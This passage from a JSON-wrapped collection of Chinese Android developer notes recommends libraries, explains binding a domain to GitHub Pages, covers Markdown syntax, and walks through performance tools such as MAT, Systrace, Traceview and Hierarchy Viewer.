    "content": "Android开发工具及类库\n===\n\n在项目开发过程中，总有一些必要的工具和类库。下面就简单介绍下我常用的一些(还在用`Eclipse`的请无视)。      \n\n1. [volley](https://android.googlesource.com/platform/frameworks/volley)                                                   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/volley.png?raw=true)                   \n在`Google I/0 2013`中发布了`Volley`.`Volley`是`Android`平台上的网络通信库，能使网络通信更快，更简单，更健壮。\n这是`Volley`名称的由来:`a burst or emission of many things or a large amount at once`.`Volley`特别适合数据量不大但是通信频繁的场景。   \n`Github`上面已经有大神做了镜像，使用更方便有木有。[Volley On Github](https://github.com/mcxiaoke/android-volley)                     \n\n2. [Gson](https://code.google.com/p/google-gson/)                    \n`Json`转换神器。\n\n3. [GsonFormat](https://github.com/zzz40500/GsonFormat)               \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/GsonFormat.gif?raw=true)                 \n既然用了`Gson`怎么能少了该神器呢？\n\n4. [android-butterknife-zelezny](https://github.com/avast/android-butterknife-zelezny)         \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/zelezny_animated.gif?raw=true)      \n使用[butterknife](https://github.com/JakeWharton/butterknife)制作的`Android Studio/IDEA`插件。非常方便有木有。\n\n5. [android-selector-chapek](https://github.com/inmite/android-selector-chapek)       \n`selector`写起来是不是很麻烦？以后让`UI`规范化命名，然后就没有然后了。                \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/select_folder.png?raw=true)            \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/select_option.png?raw=true)         \n接下来你就会在`drawable`目录发现对应的`selector`文件。           \n        \n6. [leakcanary](https://github.com/square/leakcanary)\t\t  \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/screenshot.png?raw=true)       \n内存泄漏你怕不怕？         \n\t\t\n7. [fresco](https://github.com/facebook/fresco)\t\t      \n怎么能少了对图片的处理呢？`Fracebook`出品。更快、更强、更方便。       \n\n8. [android-resource-remover](https://github.com/KeepSafe/android-resource-remover)                    \n    开发过程中可能会经常遇到需求的变更，时间长了，项目中的无用资源就会越来越多。 虽然在`Gradle`中支持相应的配置来去除无用资源: \n\n\t```xml                               \n\tbuildTypes {\n        debug {\n            minifyEnabled false\n            zipAlignEnabled false\n            shrinkResources false\n        }\n\n        release {\n            zipAlignEnabled true\n            // remove unused resources\n            shrinkResources true\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n\t```\n    \n    但是这只是在打包的时候不会打进去无用的资源，但是这些资源还是会在工程中。\n    那我们怎么能快速的移除掉这些无用资源呢？答案也很简单，就是使用`lint`检查出无用的资源后用工具删除，这个工具就是`android-resource-remover`。 \n    因为它是一个`python`脚本，所以如果不懂`python`的话使用起来会比较麻烦，下面就介绍一下具体的使用方法:            \n    - 下载并安装`Python 2.x`版本\n        去[Python](https://www.python.org/)下载后即可，这里要下载2.x版本，因为3.x版本对语法做了很多改动，可能会不兼容，下载完成后安装就可。安装完成后将安装路径加入到`Path`中。如`D:\\Python;`。\n    - 安装`android-resource-remover`     \n\t    在命令行输入下面的命令`pip install android-resource-remover`。 这里有些电脑可能会提示错误，是因为没有安装`pip`导致的，具体可以看[pip](https://pip.pypa.io/en/latest/installing.html)找到安装的方法。上面介绍了要下载`get-pip.py`后执行`python get-pip.py`就能安装了。\n\t- 将`D:\\Python\\Scripts`添加到`Path`中。\n    - 将`lint`命令添加到`Path`中，`D:\\android-sdk-windows\\tools`.\n    - 在`Studio`右侧的`Gradle`窗口中执行`lint`任务。 这样就会在`app/build/outputs`下生成`lint-results.xml`文件。下一步清理的时候需要使用`lint-results.xml`文件。               \n\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/lint.png?raw=true)\t\n\t- 进入到`Android Studio`中的具体项目中执行`./gradlew clean`后再执行`./gradlew lint && android-resource-remover --xml app/build/outputs/lint-results.xml`\n\n9. [stetho](https://github.com/facebook/stetho)\n    `facebook`出品。快速查看布局、数据库、网络请求。实在不能再方便了。   \n10. [RxJava](https://github.com/ReactiveX/RxJava)\n    用了后你会爱上它。\n11. [Retrofilt](https://github.com/square/retrofit)\n    `Square`出品。大神`JakeWharton`主导出品的网络请求框架。内部结合`OkHttp`。结合`RxJava`使用非常方便。   \n12. [android-architecture](https://github.com/googlesamples/android-architecture)\n    放到这里可能不太合适，因为它并不是工具和类库，而是`Google`官方发布的`Android`架构示例。非常值得参考。  \n13. [AndroidWiFiADB](https://github.com/pedrovgs/AndroidWiFiADB)\n    还在为数据线不够用而烦恼嘛?\n    \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/Github个人主页绑定域名.md",
    "content": "Github个人主页绑定域名\n===\n\n`Github`虽然很好，可毕竟是免费的，还是有不少限制的。写到这里，特意去看了下`Github`对免费用户究竟有什么限制。发现除了300M的空间限制（还是所谓软限制），没有其他限制。所以用它来作为博客平台，真是再理想不过了。\n\n创建步骤\n---\n\n1. 建立一个博客`repository`\n    建立一个命名为`username.github.io`的`repository`, `username`就是你在`Github`上的用户名或机构名\n\n2. 增加主页\n    `clone`该`repository`到本地，增加`index.html`\n\n3. 提交\n    `commit`并且`push`该次修改。\n\t\n4. OK\n    打开浏览器输入 `username.github.io` 即可。注意提交之后可能需要一小段时间的延迟。\n\n\n绑定域名\n---\n\n1. 在`repository`根目录新建`CNAME`文件, 内容为`xxx.com`(要绑定的域名),然后`commit`、`push`.\n2. 在自己的域名管理页面中,进入域名解析.\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/bindhost.jpg?raw=true)    \n    **注意记录值 `username.github.io.` (最后面有一个.)**\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/MAT内存分析.md",
    "content": "MAT内存分析\n===\n\n`Eclipse Memory Analyzer（MAT）`是著名的跨平台集成开发环境`Eclipse Galileo`版本的33个组成项目中之一，它是一个功能丰富的`JAVA` 堆转储文件分析工具，可以帮助你发现内存漏洞和减少内存消耗。\n\n[内存泄露介绍][1]\n[MAT(Memory Analyzer)官网]{http://www.eclipse.org/mat/}    \n- 安装：\n    - 单机版，解压后直接使用\n    - `Eclipse`插件，直接装一个插件,然后`open perspective`打开 `Memory Analysis`\n\t\n- 使用\n    - DDMS\n\t    进入`DDMS`页面，选择要分析的进程,然后点击`Update Heap`按钮。然后在右侧`Heap`页面点击一下`Cause GC`按钮，点击`Cause GC`按钮就是手动触发`Java`垃圾回收。          \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/mat_1.png)           \n\t\t如果想要看某个`Activity`是否发生内存泄露，可以反复多次进入和退出该页面, 然后点击几次`Cause GC`触发垃圾回收，\n\t\t看一下上图中`data object`这一栏中的`Total Size`的大小是保持稳定还是有明显的变大趋势，如果有明显的变大趋势就说明这个页面存在内存泄露的问题，需要进行具体分析。\n\t\t\n\t\t\n很长时间之前学习的，一直想记录出来，总是忙，到现在才开始整理，但是现在已经很少用`MAT`了，因为它太费劲了。\n自从良心企业发布了`leakCanary`后，都已经转投到大神门下。\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/BasicKnowledge/%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F.md \"内存泄露介绍\"\t\t\n \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/Markdown学习手册.md",
    "content": "Markdown学习手册\n===\n\n#### 一. 简单功能\n功能 | 效果 | Markdown代码 | 备注\n:--|:--|:--|:--\n粗体 | **粗体** | `**粗体**` | 两边加**\n斜体 | _斜体_ | `_斜体_` | 两边加_\n中划线 | ~~中划线~~ | `~~中划线~~` | 两边加~~\n单行代码 | `Log.i(\"Hello World!\")` | \\`Log.i(\"Hello World!\")\\` | 两边加`\n插入图片 | ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rss.png?raw=true)| `![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rss.png?raw=true)` | [] 中间为占位符,() 中间为图片链接\n链接 | [Visit Github](http://www.github.com) | `[Visit Github](http://www.github.com)` | [] 中间为显示文字,() 中间为链接\n\n\n#### 二. 其他功能\n##### 1. 换行\n在需要换行的地方敲击两次空格和一个回车键即可，如:\n\n```\n这是第一行(空格)(空格)(回车)\n这是第二行\n```\n\nTip: 多条新行都会被视为一行\n##### 2. 标题\nMarkdown 提供了六种规格的标题，分别对应 Html 标签中的`<h1>`-`<h6>`，通过添加不同数量的`#`字符可以实现不同大小的标题，如:\n```\n# 最大的标题(相当于一个<h1>标签)\n## 次大的标题(相当于一个<h2>标签)\n...\n###### 最小的标题(相当于一个<h6>标签)\n```\nTip: \\# 越多，标题越小  \n\n或者利用 = （最高阶标题）和 - （第二阶标题），任何数量的 = 和 - 都可以有效果。例如：\n```\nH1\n===\n\nH2\n---\n```     \n效果为:\nH1\n===\n\nH2\n---\n\n##### 3. 列表   \n###### 3.1 有序列表\n数字 + . + 空格即可，以下代码：\n```\n1. 项目1  \n2. 项目2  \n3. 项目3  \n```  \n效果为：  \n1. 项目1  \n2. 项目2  \n3. 项目3  \n\n###### 3.2 无序列表  \n以 * 和空格开头即可，以下代码:  \n```\n* 项目1\n* 项目2\n* 项目3\n```  \n效果为：  \n* 项目1\n* 项目2\n* 项目3\n\n###### 3.3 子项目表示： \n子项目缩进一个 tab 并加 * 和 空格表示，以下代码：  \n```\n* 项目1\n    * 子项目1\n    * 子项目2\n* 项目2\n    * 子项目1\n```  \n效果为：  \n* 项目1\n    * 子项目1\n    * 子项目2\n* 项目2\n    * 子项目1\n\n##### 4. 代码块\n以 \\`\\`\\` 和 \\`\\`\\` 包含，以下代码：  \n<pre><code>\n```\ndef hello():\n    print 'Hello World!'\n```\n</code></pre>\n效果为：  \n```\ndef hello():\n    print 'Hello World!'\n```\n\nGFM 扩展了 Markdown 的代码块功能，通过在上面第一个 \\`\\`\\` 后添加语言名称，使不同语言展现不同的代码高亮风格，以下代码:  \n<pre><code>\n```java\npublic static void main(String[] args){\n    System.out.println(\"Hello World!\");\n}\n```\n</code></pre>\n效果为：  \n```java\npublic static void main(String[] args){\n    System.out.println(\"Hello World!\");\n}\n```\n\n以下代码：  \n<pre><code>\n```python\ndef hello():\n    print 'Hello World!'\n```\n</code></pre>\n\n效果为：  \n```python\ndef hello():\n    print 'Hello World!'\n```\n    \n##### 5. 表格\n标准的 Markdown 中并不支持表格，但 GFM 可以，表头前空一行，以 `---`  做为表头分隔，以 `|` 做为列分隔，以下代码：\n```\n表头1|表头2\n---|---\n单元格1|单元格2\n单元格3|单元格4\n```\n效果为：  \n\n表头1|表头2\n---|---\n单元格1|单元格2\n单元格3|单元格4\n\n而且还可以通过在表头分隔符中添加 `:` 来决定单元格的对齐方向，以下代码：  \n```\n表头1|表头2|表头3\n:--|:--:|--:\n左1|中1|右1\n左2|中2|右2\n```\n效果为：  \n\n表头1|表头2|表头3\n:--|:--:|--:\n左1|中1|右1\n左2|中2|右2\n    \n##### 6. 特殊字符转义 \n如果需要在正文里使用特殊字符的话，可以用 `\\` 来转义  \n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/性能优化相关工具.md",
    "content": "性能优化相关工具\n===\n\n有关性能优化的文章请参考[性能优化][1]和[布局优化][2]\n\n\n### DDMS(百宝箱)\n\n##### 查看进程的内存使用\n\n`DDMS`可以让你查看到一个进程使用的堆内存。    \n1. 在`Device`了表选择你想查看的进程。\n2. 点击`Update Heap`按钮来开启查看进程堆内存信息。\n3. 在`Heap`页面，点击`Cause GC`来执行垃圾回收。\n4. 在列表中点击一个对象类型来查看它所分配的内存大小。   \n\n##### 追踪对象的内存分配情况     \n\n1. 在`Device`了表选择你想查看的进程。\n2. 在`Allocation Tracker`页面，点击`Start Tracking`按钮来开始追踪。\n3. 点击`Get Allocations`来查看从你点击`Start Tracking`之后分配内存的对象列表。 你可以再次点击`Get Allocations`来添加新分配内存的对象列表。 \n4. 停止追踪或者清除数据可以点击`Stop Tracking`按钮。 \n5. 在列表中单独点击一行来查看详细的信息。\n\n##### 使用文件系统\n\n`DDMS`提供了一个文件浏览器来供你查看、拷贝、删除文件。\n1. 在`Device`页面，选中你想要查看的设备。\n2. 从设备中拷贝文件，用文件浏览器选择文件后点击`Pull file`按钮。\n3. 拷贝文件到设备中，点击`Push file`按钮。\n\n##### 检查线程信息  \n\n\n`Thread`页面可以显示指定进程中当前正在运行的线程。 \n\n1. 在`Device`页面，选择想要查看的进程。 \n2. 点击`Update Threads`按钮。   \n3. 在`Thread`页面，你可以查看对应的线程信息。 \n\n##### 启动方法分析\n\n方法分析可以追踪一个方法的特定信息，例如调用数量，执行时间、耗时等。如果想要更精确的控制想要收集的数据，可以使用`startMethodTracing()`和`stopMethodTracing()`方法。    \n\n在你开始使用方法分析之前请知晓如下限制:    \n\n- 在`Android 2.1`及以前的设备必须有`SD`卡，并且你的应用必须有写入`SD`卡的权限。 \n- 在`Android 2.2`及以后的设备中不需要`SD`卡，`trace log`文件会直接被导入到开发机上。\n\n开启方法分析:    \n\n1. 在`Device`页面，选择想要开启方法分析的进程。\n2. 点击`Start Method Profiling`按钮。\n3. 在`Android 4.4`及以后，可以选择`trace_based profiling`或者基本的`sample-based profiling`选项。在之前的版本智能使用`trace-based profiling`。\n4. 在应用中操作界面来执行你想要分析的方法。 \n5. 点击`Stop Method Profiling`按钮。`DDMS`会停止分析并且将在`Start Method Profiling`和`Stop Method Profiling`中间手机的方法分析数据使用`Traceview`打开。   \n\n\n##### 使用网络流量工具   \n\n从`Android 4.0`开始,`DDMS`包含了一个网络使用情况的页面来支持跟踪应用的网络请求。\n\n如图:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/ddms-network.png?raw=true)。 \n\n通过检测数据交互的频繁性以及在每次连接中数据的传递量，你可以知道应用中具体可以做的更好更高效的地方。\n想要更好的查看引起数据交互的地方，可以使用`TrafficsStats`这个`API`，它也可以使用`setThreadStatsTag()`方法来设置数据使用情况的`tag`，\n\n首先要讲到的是`Systrace`，之前在淘宝面试的时候被问到，如有查找`UI`绘制卡顿的问题，我没答上来。早点知道`Systrace`就好了(当然只知道工具是不够的，也要懂得里面的原理)。\n\n### Systrace    \n\n`Systrace`有什么用呢？官方文档中有一片文章的标题是：使用`Systrace`进行`UI`性能分析。    \n\n在应用程序开发的过程中，你需要检查用户交互是否平滑流畅，运行在稳定的60fps。如果中间出了些问题，导致某一帧延迟，我们想要解决该问题的第一步就是理解系统如何操作的。     \n\n`Systrace`工具可以让你来手机和观察整个`android`设备的时间信息，也称为`trace`。它会显示每个时间点上的`CPU`消耗图，显示每个线程在显示的内容以及每个进程当时在做的操作。\n\n在使用`Systracv`来分析应用之前，你需要手机应用的`trace log`信息。生成的`trace`能够让你清晰的观察系统在该时间内所做的任何事情。 \n\n##### 生成Trace    \n\n为了能创建一个`trace`，你必须要执行如下几个操作。 首先，你要有一个`Android 4.1`及以上的设备。将该设备设置为`debugging`，连接你的设备并且安装应用。有些类型的信息，特别是一些硬盘的活动和内核工作队列，需要设备获取`root`权限才可以。 然而，大多数的`Systrace log`的数据只需要设备开启开发者`debugging`就可以了。     \n\n`Systrace`可以通过命令行或者图形化界面的方式来运行，在`Studio`中打开`Android Device Monitor`然后选择`Systracv`图标![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace-button.png?raw=true)。 \n\n\n下面以命令行的方式为例，这里只讲解一下`Android 4.3`及以上的使用方式:     \n\n- 确保设备已经通过`USB`连接并且开启了`debugging`模式。 \n- 设置一些参数并执行`trace`命令，例如:      \n    ```\n    $ cd android-sdk/platform-tools/systrace\n    $ python systrace.py --time=10 -o mynewtrace.html sched gfx view wm\n    ```  \n    执行完上面的命令后就会在`sdk/platform-tools/systrace/mynewtrace.html`生成对应的`html`文件。 \n- 在设备上执行一些你想要`trace`的过程。     \n\n悲剧了，生成了对应的`html`文件，但是我死活打不开。打开是白屏，折腾了我半天，最后终于找到了解决方法:   \n\n>  Firstly, if anyone is using Chrome v50.0+ on OS X, just try this please.\n\n> open chrome browser and go to \"chrome://tracing\"\n> in the tracing page, click load and select the systrace generated html file.\n> Secondly, I think it's a bug which is confirmed by Google.\n\n`OK`了。 \n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace_file.png?raw=true =)。 \n\n看不懂！！！\n\n##### 分析Trace\n\n用浏览器打开上面生成的`mynewtrace.html`。    下面为了能明显的说明，我就用官网提供的例子来说明了。   \n\n###### 查看Frames\n从打开的文件中我们能看到每个应用都有一行`frame`的圆圈来标示渲染的帧，通常都是绿色的。黄色或者红的圆圈标示超过了我们对保障60fps所需的16毫秒绘制时间。。 可以在文件上面按`w`键来放大文件以便能更好的观看查找。   \n> ***提示:***在文件上面按`?`键可以查看对应的快捷键。  \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/frame-unselected.png?raw=true)。 \n\n在`Android 5.0`以上的设备上，显示工作呗分为`UI Thread`和`Render Thread`。在之前的版本，所有工作都是在`UI Thread`进行的。 点击某个单独的`frame`图标来查看它们所需的时间。\n\n###### 观看Alerts    \n\n`Systracv`会自动分析`trace`过程的时间，并且通过`alerts`提示该展现问题，以及建议如何处理。    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/frame-selected.png?raw=true) \n\n如上图所示，在你点击一个比较慢的`frame`时，下面就会显示一个`alert`。在这种情况下，它直说可能是`ListView`服用以及重复渲染的问题。 如果你发现`UI Thread`做了太多的工作，你可以使用`TraceView`进行代码分析，来找到具体哪些操作导致了消耗时间。\n\n如下，你也可以通过点击窗口右边的`Alerts`来查看当前所有的`alert`。这样会直接展开`Alert`窗口。   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/frame-selected-alert-tab.png?raw=true)\n\n下面我们以另外一个例子来分析一下它的`Frame`：    \n\n我们点击某一红色`frame`来查看这一阵的一些相关警告:   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace-frame-zoomin.png?raw=true)\n可以看到这里说耗时32毫秒，这已经远远超过了16毫秒的绘制时间。 我们可以通过`Description`来查看描述内容。   \n下面是另外一个渲染过慢的例子:     \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace-2-frame.png?raw=true)\n从上图，我们发现了`Scheduling delay`的警告，加起来能看到总的绘制时间大约是19毫秒。   \n`Scheduling delay`的意思是调度延迟，也就是说一个县城在处理这部分操作时，在很长时间内没有被分配到`CPU`上面进行运算，这样就导致了很长时间内没有完成操作。    我们选择这一帧中最长的一块，来观察下:    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace-2-slice.png?raw=true)\n\n我们在上图看到了`Wall duration`，他代表着这一块开始到结束的总耗时。而在`CPU Duration`这里显示了`CPU`在处理该部分消耗的时间。 很明显，真个区域用了18毫秒，但是`CPU`实际处理只用了4毫秒，也就是说剩下的14毫秒就可能有问题了。     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/systrace-2-cpu.png?raw=true)\n\n可以看到，4个线程都比较忙。  \n\n选择其中一个线程来查看是哪个应用在使用它，这里看到了一个包名为`com.udinic.keepbusyapp`的应用。也就是说由于另外一个应用占用了`CPU`,，导致了我们的应用未能获取到足够的`CPU`资源。      \n\n\n##### 追踪代码\n\n在`Android 4.3`以上你可以使用`Trace`类来在代码中添加(很熟悉有木有，在看源码的时候经常看到)。这样能查看到此时你的应用线程都做了哪些操作。 \n下面的代码展示了如何使用`Trace`类来追踪两个代码块部分:   \n```java\npublic void ProcessPeople() {\n    Trace.beginSection(\"ProcessPeople\");\n    try {\n        Trace.beginSection(\"Processing Jane\");\n        try {\n            // code for Jane task...\n        } finally {\n            Trace.endSection(); // ends \"Processing Jane\"\n        }\n\n        Trace.beginSection(\"Processing John\");\n        try {\n            // code for John task...\n        } finally {\n            Trace.endSection(); // ends \"Processing John\"\n        }\n    } finally {\n        Trace.endSection(); // ends \"ProcessPeople\"\n    }\n}\n```\n\n### Traceview\n\n`Traceview`是一个性能测试工具，展示了所有方法的运行时间。    \n> Traceview is a graphical viewer for execution logs that you create by using the Debug class to log tracing information in your code. Traceview can help you debug your application and profile its performance.\n\n\n##### 创建Trace文件  \n\n想要使用`Traceview`你需要创建一个包含你想分析部分的`trace`信息的`log`文件。 \n有两种方式来生成`trace logs`：    \n\n- 在你测试的类中添加`startMethodTracing()`和`stopMethodTracing()`的代码，来指定开始和结束获取`trace`信息。这种方式是非常精确的，因为你可以在代码中指定开始和结束的位置。     \n\n- 使用`DDMS`中的方法来生成。这种方式就不太精确。虽然这种方式不能精确的指定起始和结束位置，但是如果在你无法修改源代码或者不需要精确时间的时候是非常有用的。 \n\n在开始生成`trace log`信息时，你需要知道如下的限制条件:    \n\n- 如果你在测试代码中使用，你的应用必须要用`WRITE_EXTERNAL_STORAGE`的权限。 \n- 如果你使用`DDMS`生成:     \n\n    - `Android 2.1`之前必须有`SD`卡，并且你的应用也要有写入`SD`卡的权限。 \n    - `Android 2.2`之后不需要`SD`卡，`trace log`文件会直接生成到你的开发机上。   \n\n在测试代码中调用`startMethodTracing()`方法的时候，你可以指定系统生成`trace`文件的名字。结束的时候调用`stopMethodTracing()`方法。这些方法开始和结束时贯穿整个虚拟中的。例如你可以在你`activity`的`onCreate()`方法中调用`startMethodTracing()`方法，然后在`activity`的`onDestroy()`方法中调用`stopMethodTracing()`方法。   \n```java\n    // start tracing to \"/sdcard/calc.trace\"\n    Debug.startMethodTracing(\"calc\");\n    // ...\n    // stop tracing\n    Debug.stopMethodTracing();\n```\n\n在调用`startMethodTracing()`方法的时候，系统创建一个名为`<trace-base-name>.trace`的文件。它包含方法的二进制`trace`数据和一个线程与方法名的对应集合。   \n然后系统就开始生成`trace`数据，直到调用`stopMethodTracing()`方法。如果在你调用`stopMethodTracing()`方法之前系统已经达到了最大的缓冲大小，系统就会停止`trace`并且在控制台发出一个通知。     \n\n##### 拷贝Trace文件到电脑上\n\n在模拟器或者机器上生成`<trace-base-name>.trace`文件后，你需要拷贝他们到你的电脑上，你可以使用`adb pull`命令来拷贝：   \n`adb pull /sdcard/calc.trace /tmp`\n\n##### 在Traceview中查看trace文件    \n\n运行`Traceview`并且查看`trace`文件:     \n\n1. 打开`Android Device Monitor`。\n2. 在`Android Device Monitor`的状态栏中点击`DDMS`并且选择一个进程。 \n3. 点击`Start Method Profiling`图标开始查看。\n4. 在查看完后点击`Stop Method Profiling`图标来显示`traceview`。  \n\n大体的样子如下:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/traceview_1.png?raw=true) \n\n##### Traceview Layout     \n\n如果你有一个`trace log`文件(通过添加`tracing`代码或者用DDMS生成)，你可以把该文件加载到`Traceview`中，这将会把`log`数据显示为两部分:    \n\n- `timeline panel`-展示了每个线程和方法的起始和结束\n- `profile panel`-提供了一个方法中的执行内容的简述\n\n##### Timeline Panel\n\n每个线程都会以时间从左往右递增的方式在单独的一行中显示它的执行情况，\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/traceview_timeline.png?raw=true)\n\n##### Profile Panel\n\n显示了一个方法所消耗的时间的概要情况。在表格中会同时显示`inclusive`和`exclusive`的时间。`Exclusive`的时间是该方法所消耗的时间。`InClusive`的时间是该方法消耗的时间加上任何调的方法所消耗的时间。我们简单的将调用的方法叫做`parents`，被调用的方法叫做`children`。如果一个方法被调用，它会显示对应的`parents`和`children`。`parents`会显示一个紫色的背景，`children`会显示一个黄色的背景。最后一列显示了该方法所调用的总数的调用数。在下面的图中我们能看到一共有14个地方调用了`LoadListener.nativeFinished()` . \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/traceview_profile.png?raw=true)\n\n- Name 方法名\n- Inclusive CPU Time， CPU在处理该方法以及所有子方法(被它调用的所有方法)所消耗的时间。\n- Exlusive CPU Time, CPU在处理该方法的耗时。\n- Inclusive/Exclusive Real Time， 从方法开始执行到执行结束的耗时。 \n- Cal+Rec, 这个方法被调用的次数，以及递归被调用的次数。 \n- CPU/Real time per Call, 在处理这个方法时的`CPU`耗时的平均值。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/traceview-getview.png?raw=true)\n\n上图中`getView`方法被调用了12次，每次`CPU`消耗2.8秒，但是每次调用的总耗时是162秒，这里肯定有问题。\n而看看这个方法的children，我们可以看到这其中的每个方法在耗时方面是如何分布的。Thread.join()方法战局了98%的inclusive real time。这个方法在等待另一个线程结束的时候被调用。在Children中另外一个方法就是Tread.start()方法，而之所以整个方法耗时很长，我猜测是因为在getView()方法中启动了线程并且在等待它的结束。\n\n但是这个线程在哪儿？\n\n我们在getView()方法中并不能看到这个线程做了什么，因为这段逻辑不在getView()方法之中。于是我找到了Thread.run()方法，就是在线程被创建出来时候所运行的方法。而跟随这个方法一路向下，我找到了问题的元凶。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/traceview-thread.png?raw=true)\n\n我发现了BgService.doWork()方法的每次调用花费了将近14毫秒，并且有四十个这东西！而且getView()中还有可能调用多次这个方法，这就解释了为什么getView()方法执行时间如此之长。这个方法让CPU长时间的保持在了繁忙状态。而看看Exclusive CPU time，我们可以看到他占据了80%的CPU时间！此外，根据Exclusive CPU time排序，可以帮我们更好的定位那些耗时很长的方法，而他们很有可能就是造成性能问题的罪魁祸首。\n\n关注这些耗时方法，例如getView()，View#onDraw()等方法，可以很好的帮助我们寻找为什么应用运行缓慢的原因。但有些时候，还会有一些其他的东西来占用宝贵的CPU资源，而这些资源如果被运用在UI的绘制上，也许我们的应用会更加流畅。Garbage Collector垃圾回收机制会不时的运行，回收那些没用的对象，通常来讲这不会影响我们在前台运行的程序。但如果GC被运行的过于频繁，他同样可以影响我们应用的执行效率。而我们该如何知道回收的是否过于频繁了呢…\n\n### Monitors\n\n在`Android Studio`中下方的`Android Monitor`中可以看到`Monitors`工具栏，它能不断的去检测内存、网络、CPU的消耗情况。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/monitor.png?raw=true)\n\n我们可以直接点击`Dump Java Heap`或者`Call GC`等按钮，以便更好的去观察内存的使用情况。点击后会生成一个`.hprof`的文件。生成后直接使用`Studio`打开`.hprof`文件即可。  \n\n说到这里插一嘴,[有关Java垃圾回收机制请参考][3]\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dump_href.png?raw=true)\n在左边能看到所有堆内存中的实例。后面会显示他所占用的内存大小。\n   \n对于内存泄漏的分析可以使用`MAT`或者`LeakCanary`来进行。这里就不仔细说了。   \n\n##### 不同虚拟机的内存管理 \n\n`Android Monitor`使用的`Virtual Machine(VM)`:    \n\n- `Android 4.3(API Level 18)`及以前的版本使用`Dalvik VM` .\n- `Android 4.4(API Level 19)`默认使用`Dalvik VM`，`Android RunTime(ART)`是可选的。\n- `Android 4.3(API Level 18)`及更高的版本使用`ART VM`.\n\n虚拟之执行垃圾回收。Dalvik虚拟机使用一个标记和清除垃圾收集方案。`ART`虚拟机使用分代收集算法与标记和清楚手机算法相结合的方式。 `Logcat`会显示一些垃圾回收相关的信息。     \n\n##### GPU使用情况\n\n上面也显示了`GPU`的使用情况，这里要说一句，如果想要显示它，必须要在手机的开发者中心中开启`GPU显示配置文件`选项，将其设置为显示与`adb shell dumpsys gfxinfo`。然后再点击`Studio`中的按钮重新开始就可以看到了。 每一条线意味着一帧被绘制出来了。而线的颜色又代表不同的阶段：    \n\n- Draw(蓝色)代表着`View.onDraw()`方法。如果这个值很高就说明可能是该`View`比较复杂。 在这个环节会创建/刷新DisplayList中的对象，这些对象在后面会被转换成GPU可以明白的OpenGL命令。而这个值比较高可能是因为view比较复杂，需要更多的时间去创建他们的display list，或者是因为有太多的view在很短的时间内被创建。\n- Prepare(紫色)，从`Android 6.0`开始，一个新的线程被引进来帮助`UI`线程进行绘制。 这个线程叫做`Render Thread`。它负责转换它负责转换display list到OpenGL命令并且送至GPU。在这过程中，UI线程可以继续开始处理后面的帧。而在UI线程将所有资源传递给RenderThread过程中所消耗的时间，就是紫色阶段所消耗的时间。如果在这过程中有很多的资源都要进行传递，display list会变得过多过于沉重，从而导致在这一阶段过长的耗时。\n\n- Process(红色) 执行Display list中的内容并创建OpenGL命令。如果有过多或者过于复杂的display list需要执行的话，那么这阶段会消耗较长的时间，因为这样的话会有很多的view被重绘。而重绘往往发生在界面的刷新或是被移动出了被覆盖的区域。\n\n- Execute (黄色) – 发送OpenGL命令到GPU。这个阶段是一个阻塞调用，因为CPU在这里只会发送一个含有一些OpenGL命令的缓冲区给GPU，并且等待GPU返回空的缓冲区以便再次传递下一帧的OpenGL命令。而这些缓冲区的总量是一定的，如果GPU太过于繁忙，那么CPU则会去等待下一个空缓冲区。所以，如果我们看到这一阶段耗时比较长，那可能是因为GPU过于繁忙的绘制UI，而造成这个的原因则可能是在短时间内绘制了过于复杂的view。\n\n- Measure/Layout(绿色) 代表`Measure`和`Layout`的时间。 \n\n### Hierarchy Viewer\n\n布局分析工具，非常常用。\n\n在`Android Device Monitor`中打开`Hierarchy Viewer`即可。\n\n- 连接你的手机或者模拟器。 \n    出于安全性考虑，`Hierarchy Viewer`只能连接开发者版的系统的手机。 \n- 运行程序，并且让界面显示出来。\n- 启动`hierarchy view`工具，接着就能看到左边栏显示出了对应的设备，展开后可以看到一些组件的名称。这个页面包含了应用的界面以及系统的界面。选择你的应用中想要查看的界面直接双击就可以了。    